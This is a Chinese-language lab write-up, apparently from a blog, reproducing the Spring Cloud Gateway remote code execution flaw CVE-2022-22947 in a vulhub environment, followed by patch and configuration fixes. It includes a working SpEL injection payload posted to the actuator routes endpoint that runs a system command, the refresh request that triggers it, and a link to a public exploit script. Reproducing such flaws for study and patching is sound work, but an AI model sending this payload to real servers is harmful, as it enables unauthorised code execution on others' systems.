快捷搜索: 王者荣耀 脱发

CVE-2022-22947 远程代码执行漏洞 复现

1 漏洞信息

漏洞名称 远程代码执行漏洞 漏洞编号 CVE-2022-22947 危害等级 中危 CVSS评分 6.8 漏洞类型 中间件漏洞 漏洞厂商 Spring 漏洞组件 Spring Cloud Gateway 受影响版本 3.1.1以下的版本(不包含3.1.1),3.0.7以下的版本(不包含3.0.7) 漏洞概述 当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

2 环境搭建

2.1 环境概述

    Linux操作系统(vulhub)

2.2 搭建过程

进入到目标文件夹中拉取镜像

cd vulhub/spring/CVE-2022-22947
dpcler-compose up -d

{width=“5.758333333333334in” height=“1.6493055555555556in”}

访问成功

{width=“5.759722222222222in” height=“1.65in”}

3 漏洞复现

访问192.168.1.136:8080网页并且抓包,修改请求方式和如图所示的数据并且进行提交,即可添加一个包含恶意SpEL表达式的路由。

POST /actuator/gateway/routes/fuck

Content-Type:application/json

{
  "id": "fuck",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"id"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

{width=“5.7555555555555555in” height=“2.9743055555555555in”}

添加完一个恶意的路由之后,我们需要对路由进行刷新,来达到恶意路由能够在路由上运行的目的。

POST /actuator/gateway/refresh HTTP/1.1

{width=“5.760416666666667in” height=“1.6527777777777777in”}

路由添加并且刷新之后,我们就可以发送数据包来查看我们添加恶意payload的执行结果了。(这里图片贴错了,但是结果是一样的)

192.168.1.136:8080/actuator/gateway/routes/fuck

{width=“5.759027777777778in” height=“2.3986111111111112in”}

除了自己手动外,我们还可以使用github上面的脚本来快速地进行进行漏洞的利用,下载地址:https://github.com/Axx8/CVE-2022-22947_Rce_Exp

{width=“5.759722222222222in” height=“0.8784722222222222in”}

简单分析下exp脚本

{width=“5.752083333333333in” height=“2.6125in”}

base64编码的内容

{width=“5.759027777777778in” height=“1.6152777777777778in”}

4 修复建议

1、3.1.x 版本用户应升级到 3.1.1以上的版本,3.0.x 版本用户应升级到3.0.7以上版本。

2、在不影响业务的前提下,通过将配置选项management.endpoint.gateway.enabled,设置为 false 禁用 gateway actuator endpoint。

经验分享 程序员 微信小程序 职场和发展